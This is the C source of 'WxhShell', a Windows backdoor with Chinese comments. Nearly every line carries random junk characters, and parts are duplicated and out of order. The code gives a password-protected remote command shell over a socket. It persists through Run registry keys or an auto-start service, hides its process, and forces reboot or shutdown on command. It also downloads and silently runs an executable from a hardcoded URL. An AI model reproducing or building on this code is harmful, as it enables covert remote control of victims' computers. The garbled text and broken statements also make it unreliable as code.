    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lBdF9F<  
    if(Boot(SHUTDOWN)) K0g:Q*J-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "p{ '984r<  
    else { 3$cF)5Vf  
    closesocket(wsh); #c>MUC(?s:  
    ExitThread(0); q': wSu u  
    } ,lJ6"J\8.  
    break; [VW;L l  
    } kk'w@Sn.(  
  // 获取shell (r4VIlap  
  case 's': { WL Lv a<{  
    CmdShell(wsh); eNFUjDm  
    closesocket(wsh); sJ/e=1*  
    ExitThread(0); A%1=6  
    break; z)>{O3  
  } n y)P  
  // 退出 rk|(BA  
  case 'x': { 7nz+n#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1}E@lOc  
    CloseIt(wsh); d 6EY'*0  
    break; I)6Sbt JV^  
    } }YP7x|  
  // 离开 l%(`<a]VIB  
  case 'q': { ~bTae =FP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EiN)TB^]  
    closesocket(wsh); 3{:<z 4>{  
    WSACleanup(); Y0\\(0j64  
    exit(1); }>~>5jc/Pg  
    break; ^u!Tyb8Dk  
        } E$Pjp oQTf  
  } Rl4zTAI  
  } ~vV )|  
.p(l+  
  // 提示信息 Bq]O &>\hX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s@LNQ|'kO  
} U/!&KsnT  
  } ~<- ci  
bxSKe6l  
  return; v-fi9$#^  
} lp-Zx[#`}C  
;kW}'&Ug  
// shell模块句柄 |QOJ9~hxD  
int CmdShell(SOCKET sock) Df~p 'N-$  
{ pEj^x[b`^  
STARTUPINFO si; 36x:(-GFq  
ZeroMemory(&si,sizeof(si)); zWs*kTtA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $>ZP%~O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _G[I2]  
PROCESS_INFORMATION ProcessInfo; w<e;rKr   
char cmdline[]="cmd"; 2{B(j&{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); | 58 !A]  
  return 0; Vt=(2d5:p  
} N@*wi"Q  
tNuCxb-  
// 自身启动模式 CQzjCRS d  
int StartFromService(void) .k,Jt+  
{ Cz@FZb8  
typedef struct :~3{oZGX&  
{ mH*@d"  
  DWORD ExitStatus; kq%gY  
  DWORD PebBaseAddress; [s{r$!Gl  
  DWORD AffinityMask; [TK? P0  
  DWORD BasePriority; PIEW\i  
  ULONG UniqueProcessId; ::OFW@dS  
  ULONG InheritedFromUniqueProcessId; g"]<J &  
}   PROCESS_BASIC_INFORMATION; 5`"*y iv  
]\RSHz  
PROCNTQSIP NtQueryInformationProcess; |3, yq^2  
`e?;vA&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }WO9!E(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e-iYJ?  
@0ov!9]Rw-  
  HANDLE             hProcess; &#-|Yh/  
  PROCESS_BASIC_INFORMATION pbi; PPCTc|G  
6c2ThtL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D#d8^U  
  if(NULL == hInst ) return 0; 4aN+}TkH@G  
eMN+qkvH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OgKWgvy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y)p$_.YFF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a*6wSAA )  
DhWWN>I  
  if (!NtQueryInformationProcess) return 0; 8Da(tS  
]HyHz9QkL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yz2{LW[K  
  if(!hProcess) return 0; XhE$&Ff  
x/%7%_+'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KP=D! l&q  
v~V;+S=gz  
  CloseHandle(hProcess); nY{i>Y  
(Bt;DM#>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HZDk <aU/!  
if(hProcess==NULL) return 0; AZxrJ2G  
_\,rX\  
HMODULE hMod; e(}oq"'z  
char procName[255]; y _'eyR@)  
unsigned long cbNeeded; n2n00%Wu[  
'bB>$E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OgEUq''  
|.b%rVu  
  CloseHandle(hProcess); 09  
4ef*9|^x#  
if(strstr(procName,"services")) return 1; // 以服务启动 yy1>r }L  
v7 8&[  
  return 0; // 注册表启动 .-.q3ib  
} j:HH#U  
nU} ~I)@V  
// 主模块 M[h 1>}$Lz  
int StartWxhshell(LPSTR lpCmdLine) _&W0e}4  
{ \ |4 Ca't  
  SOCKET wsl; '"` Lv/  
BOOL val=TRUE; C!!mOAhJ  
  int port=0; tCWJSi`IJ  
  struct sockaddr_in door; =LXvlt'Q34  
L3B8IDq  
  if(wscfg.ws_autoins) Install(); 6RH/V:YY  
Z,0O/RFJ.q  
port=atoi(lpCmdLine); u=vh Z%A]  
qPsyqn?Y|  
if(port<=0) port=wscfg.ws_port; *Jb_=j*)  
ob0~VEH-  
  WSADATA data; )*!1bgXQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jZrY=f  
j: <t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c`-YIz)W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dO+kPC  
  door.sin_family = AF_INET; =f o4x|{O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +jcdf}  
  door.sin_port = htons(port); (F_w>w.h  
a|UqeNI{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a ]>VZOet  
closesocket(wsl); 0[lS(K  
return 1; = Q@6c   
} .SG0}8gW  
e d_m +NM  
  if(listen(wsl,2) == INVALID_SOCKET) { gC0;2  
closesocket(wsl); aJI>FTdK  
return 1; #De(*&y2  
} FnY$)o;   
  Wxhshell(wsl); N vcHv7,  
  WSACleanup(); _O$tuC%  
^ b@!dS  
return 0; *h2`^Z  
j?( c}!}  
} 5KK{%6#f\  
i9KTX%s5^  
// 以NT服务方式启动 THJ 3-Ug  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [1<(VyJ}ye  
{ (JWv *p  
DWORD   status = 0; dnix:'D1  
  DWORD   specificError = 0xfffffff; 1XCmM Z  
rmoJ =.'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; : aH%bk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WI6(#8^p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~,T+JX  
  serviceStatus.dwWin32ExitCode     = 0; 1ADv?+j)A/  
  serviceStatus.dwServiceSpecificExitCode = 0; goB;EWz  
  serviceStatus.dwCheckPoint       = 0; wajZqC2yg  
  serviceStatus.dwWaitHint       = 0; _1P`]+K\D$  
ZlrhC= 0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =C#*!N73  
  if (hServiceStatusHandle==0) return; <iRWd  
r4EoJyt  
status = GetLastError(); E.9^&E}PG  
  if (status!=NO_ERROR) XwtAF3oz  
{ I :@|^PYw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [NL -!  
    serviceStatus.dwCheckPoint       = 0; hl**zF  
    serviceStatus.dwWaitHint       = 0; O)`Gzx*ShU  
    serviceStatus.dwWin32ExitCode     = status; 4j^bpfb,  
    serviceStatus.dwServiceSpecificExitCode = specificError; i$["aP~G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T!(sZf  
    return; * .o"ZVl  
  } -n-Z/5~ X  
-8/JP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QypZH"Np  
  serviceStatus.dwCheckPoint       = 0; lQWBCJ8y  
  serviceStatus.dwWaitHint       = 0; @C=m?7O98  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tv1]v.  
} a>w~FUm*  
ncj!KyU  
// 处理NT服务事件,比如:启动、停止 xvB8YW"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >P<'L4;  
{ 6m@0;Ht  
switch(fdwControl) 'mJ13  
{ z-I|h~ii  
case SERVICE_CONTROL_STOP: h"r!q[MN o  
  serviceStatus.dwWin32ExitCode = 0; s*.3ZS5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9OfU7_m  
  serviceStatus.dwCheckPoint   = 0; &Q~)]|t  
  serviceStatus.dwWaitHint     = 0; 5x2L(l-2  
  { onib x^Fcd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8+ hhdy*b  
  } 9$wAm89  
  return; TA|s@T{  
case SERVICE_CONTROL_PAUSE: c})wD+1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ($'V& x8T  
  break; xj7vI&u.  
case SERVICE_CONTROL_CONTINUE: J 3B`Krh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZJvo9!DL|  
  break; h;nQxmJ9  
case SERVICE_CONTROL_INTERROGATE: \?d TH:v/E  
  break; tpZ->)1  
}; # M>wH`Q#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =+\$e1Mb*  
} _JA:.V^3gm  
-"tY{}z  
// 标准应用程序主函数 d>/Tu_ y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) djGs~H>;U_  
{ e[8UH=`|  
a%*_2#  
// 获取操作系统版本 -yl;3K]l  
OsIsNt=GetOsVer(); zofx+g\(W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h1-Gp3#  
h$/JGm5uDb  
  // 从命令行安装 +q-c 8z  
  if(strpbrk(lpCmdLine,"iI")) Install(); QF&6?e06p0  
6n,xH!7  
  // 下载执行文件 Y;eoT J  
if(wscfg.ws_downexe) { A2 BRbwr>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |6*Va%LYO-  
  WinExec(wscfg.ws_filenam,SW_HIDE); aj v}JV&:  
} N<n8'XDdG  
}I'^./za  
if(!OsIsNt) { Cm410=b  
// 如果时win9x,隐藏进程并且设置为注册表启动 EBwK 7c  
HideProc(); }LQ\a8]<  
StartWxhshell(lpCmdLine); &mdB\Y?^  
} ckWkZ 78\  
else *(Ro;?O,pi  
  if(StartFromService()) C=[Ae,  
  // 以服务方式启动 |*fNH(8&H  
  StartServiceCtrlDispatcher(DispatchTable); JhH`uA&  
else  Fs)  
  // 普通方式启动 1daL y  
  StartWxhshell(lpCmdLine); DJ|BM+  
GMe0;StT  
return 0; mw"}8y  
} f~R[&q +  
f:XfAH3R{  
N6q5`Ry  
/tzlbI]z  
=========================================== J'Gm7h{   
2qXo{C3  
Ck@M<(x  
Z/c_kf[  
Ko+al{2  
vnZ4(  
" zb?kpd}r  
506V0]`/  
#include <stdio.h> 3(o7co-f  
#include <string.h> V]m^7^m3  
#include <windows.h> cd+^=esSO  
#include <winsock2.h> pALJl[Cb  
#include <winsvc.h> kF?S 2(vH  
#include <urlmon.h> %p*`h43;  
cyBW0wV1  
#pragma comment (lib, "Ws2_32.lib") #fN/LO  
#pragma comment (lib, "urlmon.lib") | @ *3^'  
sS|<&3  
#define MAX_USER   100 // 最大客户端连接数 71*>L}H  
#define BUF_SOCK   200 // sock buffer g}YToOs  
#define KEY_BUFF   255 // 输入 buffer B>@D,)/bT5  
PqI![KxZW  
#define REBOOT     0   // 重启 Yw1Y-M  
#define SHUTDOWN   1   // 关机 nNu[c[V  
?Nu#]u-  
#define DEF_PORT   5000 // 监听端口 JSRg?p\  
ET3 ,9+Gj  
#define REG_LEN     16   // 注册表键长度 /k) NP  
#define SVC_LEN     80   // NT服务名长度 l@#b;M/  
jzQ I>u  
// 从dll定义API z1FL8=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "h$D7 mL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4rm87/u*0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z@u ;Z[@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yx!n*+:J  
Bu' :2"7  
// wxhshell配置信息 leR" j  
struct WSCFG { v|>BDN@,6  
  int ws_port;         // 监听端口 e_^KI  
  char ws_passstr[REG_LEN]; // 口令 0OEtU5lf`y  
  int ws_autoins;       // 安装标记, 1=yes 0=no %![4d;Z%x  
  char ws_regname[REG_LEN]; // 注册表键名 /CbkqNV  
  char ws_svcname[REG_LEN]; // 服务名 5uzpTNAMM1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pIL`WE1'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oR7 7`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N]*!8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4">84,-N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >|(WS.n3C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *x5o=)Y  
 r^e-.,+  
}; } cRi A  
|O2|`"7  
// default Wxhshell configuration ^g\h]RD}  
struct WSCFG wscfg={DEF_PORT, K:C+/O  
    "xuhuanlingzhe", *SWv*sD  
    1, L{zamVQG  
    "Wxhshell", \A~4\um  
    "Wxhshell", 2zwuvgiZ  
            "WxhShell Service", Af$0 o=".  
    "Wrsky Windows CmdShell Service", &MBOAHhze  
    "Please Input Your Password: ", /\Jc:v#Q  
  1, s 8C:QC  
  "http://www.wrsky.com/wxhshell.exe", N IO;  
  "Wxhshell.exe" hl=oiUf[s  
    }; P"U>tsHK:  
J*/$ywI  
// 消息定义模块 u)wu=z8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @:I \\S@bN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 34HFrMi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X*(gT1"t  
char *msg_ws_ext="\n\rExit."; 5B_-nYJDt  
char *msg_ws_end="\n\rQuit."; 9*"[pt+tA  
char *msg_ws_boot="\n\rReboot..."; <#:Ebofsn  
char *msg_ws_poff="\n\rShutdown..."; \nn56o@eN  
char *msg_ws_down="\n\rSave to "; 3XMBu*  
qFB9,cUqh  
char *msg_ws_err="\n\rErr!"; yN%3w0v  
char *msg_ws_ok="\n\rOK!"; _gis+f/8h  
qQ3 ]E][/  
char ExeFile[MAX_PATH]; )cf p(16  
int nUser = 0; ]=O{7#  
HANDLE handles[MAX_USER]; P TfN+  
int OsIsNt; 30wYc &H  
ZP]2/;h  
SERVICE_STATUS       serviceStatus; ~7FEY0/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &6=TtTp"9  
:Q0?ub]  
// 函数声明 y$+!%y*  
int Install(void); k:&?$  
int Uninstall(void); lyMJW }T+>  
int DownloadFile(char *sURL, SOCKET wsh); eUGm ns  
int Boot(int flag); eHfG;NsV /  
void HideProc(void); rF <iWM=  
int GetOsVer(void); z/Mhu{ttL  
int Wxhshell(SOCKET wsl); G~Q*:m  
void TalkWithClient(void *cs); fJ|Bu("N  
int CmdShell(SOCKET sock); +?J_6Mo@X  
int StartFromService(void); dT*f-W  
int StartWxhshell(LPSTR lpCmdLine); qkZ5+2m  
'Kt4O9=p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .~V".tZV[  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  h;:Se  
Huug_E+  
// 数据结构和表定义 ,& \&::R  
SERVICE_TABLE_ENTRY DispatchTable[] = wd2P/y42;;  
{ -Lz1#Sk]A  
{wscfg.ws_svcname, NTServiceMain}, kOlI?wc  
{NULL, NULL} VLwJ6?.f'  
}; @h z0:ezg:  
PEwW*4Xo  
// 自我安装 3>:zo:;  
int Install(void) T^-H_|/M  
{ "=v J }  
  char svExeFile[MAX_PATH]; [W8iM7D  
  HKEY key; i&SBW0)  
  strcpy(svExeFile,ExeFile); M25z<Y  
0YsN82IDD  
// 如果是win9x系统,修改注册表设为自启动 ?L ~=Z\H  
if(!OsIsNt) { A<*tn?M]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I _Mqh4];  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OA8b_k~  
  RegCloseKey(key); XQ4^:3Yc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )oz-<zW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7p"~:1hU  
  RegCloseKey(key); >x_:=%Wr+  
  return 0; Hhce:E@K  
    } *|.yX%"k  
  } 6lH>600]u  
} %lqG*dRx0  
else { 7HR%rO?'  
?6l,   
// 如果是NT以上系统,安装为系统服务 O<H@:W #k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]a Ma*fF  
if (schSCManager!=0) A?{aUQB~|  
{ qT-nD}  
  SC_HANDLE schService = CreateService WTy8N  
  ( f^yLwRUD  
  schSCManager, IB]VPj5  
  wscfg.ws_svcname, N6 }i>";_;  
  wscfg.ws_svcdisp, b3HTCO-,fC  
  SERVICE_ALL_ACCESS, yKk,);  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @0@'6J04  
  SERVICE_AUTO_START, }?ac<> u&  
  SERVICE_ERROR_NORMAL, Zn=JmZ  
  svExeFile, Zv7$epDUz  
  NULL, rQQPs\o  
  NULL, @OL3&R  
  NULL, (k HQKQmq  
  NULL, sB1tce  
  NULL gu%'M:Xe  
  ); :@4>}k*  
  if (schService!=0) 5<GRi "7A@  
  { uC8T!z  
  CloseServiceHandle(schService); !v;_@iW3e  
  CloseServiceHandle(schSCManager); 0dX=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7J_f/st  
  strcat(svExeFile,wscfg.ws_svcname); 8J(zWV7 r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8LM1oal}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !{ )AV/\D  
  RegCloseKey(key); L" ^366M!  
  return 0; >yHnz?bf@  
    } N %/DN  
  } rls#g w  
  CloseServiceHandle(schSCManager); qA\kx#v]P  
} ob5nk ^y  
} o)D+qiA3U  
)PATz #  
return 1; 1kw4'#J8  
} . t%Vx  
N'BctKL  
// 自我卸载 =X'7V}Q}  
int Uninstall(void) h}<ZZ  
{ |Ie`L("  
  HKEY key; Z!l!3(<G.f  
Q3{&'|}^2  
if(!OsIsNt) { <%JO 3E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *xVAm7_v  
  RegDeleteValue(key,wscfg.ws_regname); 6zZR:ej  
  RegCloseKey(key); _5`S)G{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f0bV]<_9  
  RegDeleteValue(key,wscfg.ws_regname); M{RZ-)IC  
  RegCloseKey(key); +7OT`e %q  
  return 0; AFJY!ou~6  
  } 0BD((oNg  
} &bgi0)>  
} V xs`w  
else { &/FwV'  
w:+#,,rwzV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cyeDZ)  
if (schSCManager!=0) jz:c)C&/  
{ &nw ~gSe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TN_$E&69I  
  if (schService!=0) ;!sGfrs 0$  
  { 7f,W zvV  
  if(DeleteService(schService)!=0) { s hvcc  
  CloseServiceHandle(schService); XB 7^Ka  
  CloseServiceHandle(schSCManager); 2/N*Uk 0  
  return 0; *lF%8k"Al  
  }  P;/wb /  
  CloseServiceHandle(schService); eakIK+-21y  
  } o@;_(knb  
  CloseServiceHandle(schSCManager); o^6j(~  
}  IomJo  
} c)fp;^  
@23x;x  
return 1; =@  
} }"k(kH  
[&V%rhi  
// 从指定url下载文件 .LHe*JC  
int DownloadFile(char *sURL, SOCKET wsh) aC 0Jfo  
{ f`rz)C03  
  HRESULT hr; .w)t<7 y  
char seps[]= "/"; U8z"{  
char *token; !S{<Xc'wv  
char *file; LdUpVO8)l  
char myURL[MAX_PATH]; /MtacR  
char myFILE[MAX_PATH]; _3[BS9  
Jj:4@p:  
strcpy(myURL,sURL); ^u,x~nPXg  
  token=strtok(myURL,seps); X\RTHlw']  
  while(token!=NULL) 4gENV{ L  
  { h_!"CF <n  
    file=token; u)pBFs<dn  
  token=strtok(NULL,seps); CU_06A|}  
  } Gzt5efygKt  
DboqFh#]=h  
GetCurrentDirectory(MAX_PATH,myFILE); RoRVu,1  
strcat(myFILE, "\\"); k({8C`&tK/  
strcat(myFILE, file); k#[s)Ja?s  
  send(wsh,myFILE,strlen(myFILE),0); `<d>C}9  
send(wsh,"...",3,0); g2q=&eI"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mo$*KNW%\  
  if(hr==S_OK) 1[]cMyV  
return 0; ZeZwzH)BD  
else zPYa@0I  
return 1; $ 1ZY Vw  
X9HI@M]h  
} 1 Y& d%AA  
,V?,I9qf  
// 系统电源模块 C-Z,L#  
int Boot(int flag) wQc  w#  
{ uX[ "w|  
  HANDLE hToken; gK CIfxM  
  TOKEN_PRIVILEGES tkp; a{W-+t   
3F1Z$d(  
  if(OsIsNt) { lOui{QU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kn\>ZgU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VUb*,/hxa  
    tkp.PrivilegeCount = 1; M&dtXG8<^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s-B\8&^C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /slML~$t<  
if(flag==REBOOT) { Y<v55m-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f/ZE_MN2  
  return 0; xjN~Y D:  
} xo$ZPnf(zv  
else { d,)L,J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $BY{:#a]  
  return 0; _c2#  
} nq=fSK(  
  } $/H'Dt6x  
  else { Gf?KpU  
if(flag==REBOOT) { Ou^dI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rxARJ so  
  return 0; $H^6I8>  
} H &JKja}`  
else { KB5{l%>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dQ[lXV[}v  
  return 0; Gu= Rf`o  
} pK4)>q  
} ;Yj}9[p;T  
N+\*:$>zt6  
return 1; ( nh!tC  
} ;IT^SHym  
i ,'~Ds  
// win9x进程隐藏模块 }/VHeHd  
void HideProc(void) vl<J-+|0C  
{ 'Khq!pC   
zin ,yJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HIF] c  
  if ( hKernel != NULL ) xn"g_2Hi  
  { <da! #12L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0\+Qi?&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K  +~  
    FreeLibrary(hKernel); `Ao: }  
  } "#7i-?=  
G 1$l%B  
return; +FiV!nRkZ  
} "a: ;  
/a q%l]hQ@  
// 获取操作系统版本 3 yElN.=  
int GetOsVer(void) 7v-C-u[E`  
{ :.dQY=6I  
  OSVERSIONINFO winfo; g@QpqrT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bYtF#Y   
  GetVersionEx(&winfo); 7-5q\[ZK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a-3~HH  
  return 1; UW+I 8\^  
  else E|>I/!{u7`  
  return 0; @:[/uqL  
} !hq7R]TC+  
;cO0Y.V9l  
// 客户端句柄模块 &0#qy9wx  
int Wxhshell(SOCKET wsl) ZD,l 2DQ?  
{ ~_raI7,  
  SOCKET wsh; !-QKh aY  
  struct sockaddr_in client; alG}Aw#gS  
  DWORD myID; 4nY2v['m0  
p;@PfhEz)  
  while(nUser<MAX_USER) &(0iSS  
{ 0`x<sjG\q  
  int nSize=sizeof(client); Kz%wMyZ:g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !O5UE  
  if(wsh==INVALID_SOCKET) return 1; S2*:]pYf}  
!B\\:k]aO^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R+m{nO~r  
if(handles[nUser]==0) VHJr+BQ1K/  
  closesocket(wsh); dlW w=^  
else qg>i8V  
  nUser++; $]Q_x?  
  } ?XHJCp;f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Kk6|+5u  
S&VN</p  
  return 0; cZwQ{9>  
} q)P<lKi  
^Dh2_vbI  
// 关闭 socket 0nv3JX^l]  
void CloseIt(SOCKET wsh) TWn7&,N  
{ )QX9T  
closesocket(wsh); A.y$.(  
nUser--; Y`M.hYBXk  
ExitThread(0); {_ #   
} @}FRiPo6  
wHAh6lm  
// 客户端请求句柄 'aCnj8B  
void TalkWithClient(void *cs) Kkd7D_bZ*  
{ :dK%=j*ZK  
4TLh'?Xu9  
  SOCKET wsh=(SOCKET)cs; 0 xPML}|V  
  char pwd[SVC_LEN]; >_5D`^  
  char cmd[KEY_BUFF]; IlaH,J7n  
char chr[1]; u^{Q|o:=x  
int i,j; 0[PP -]JS  
\,?yj  
  while (nUser < MAX_USER) { =B; )h  
|5O%@  
if(wscfg.ws_passstr) {  1 ft. ZJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y(&phv&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); js>6Du  
  //ZeroMemory(pwd,KEY_BUFF); 'dx4L }d  
      i=0; >s1HQSe66  
  while(i<SVC_LEN) { |C5i3?  
D$j`+`  
  // 设置超时 -5E<BmM  
  fd_set FdRead; D,X$66T ^  
  struct timeval TimeOut; :\.v\.wm  
  FD_ZERO(&FdRead); Z3S\@_/;  
  FD_SET(wsh,&FdRead); .d.7D ]Yn  
  TimeOut.tv_sec=8; 1Og9VG1^  
  TimeOut.tv_usec=0; )of_"gZ$3A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Dz:6r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %';n9M  
& ??)gMM[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yLI=&7/e@  
  pwd=chr[0]; %.Mtn%:I *  
  if(chr[0]==0xd || chr[0]==0xa) { fA|'}(kH  
  pwd=0; f(9w FT  
  break; Tvk=NJ  
  } ysL8w"t  
  i++; bf}r8$,  
    } PUa~Apj '  
4E"qpy \(  
  // 如果是非法用户,关闭 socket |Q7Ch]G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $bMeL7CN  
} A@`C<O ^  
+[*UC"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |px4a"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8_KXli}7=  
T nPC\.x  
while(1) { |>[w $  
gg6&Fzp  
  ZeroMemory(cmd,KEY_BUFF); {0e5<"i  
-"(e*&TJ#  
      // 自动支持客户端 telnet标准   y*zZ }>  
  j=0; r"rEVx#1=  
  while(j<KEY_BUFF) { 1AhL-Lj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xv1$,|^ts  
  cmd[j]=chr[0]; y 5=J6a2.  
  if(chr[0]==0xa || chr[0]==0xd) { <01MXT-  
  cmd[j]=0; I</Nmgf  
  break; CIV6 Qe"<  
  } 1a%*X UT  
  j++; @^`-VF  
    } &M<431y  
} 1c5#Ym  
  // 下载文件 G|H\(3hHLZ  
  if(strstr(cmd,"http://")) { Xst&QKU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3aW4Gs<g  
  if(DownloadFile(cmd,wsh)) Ws(BouJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mD|<qsY)  
  else >O~xu^N?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &(wik#S  
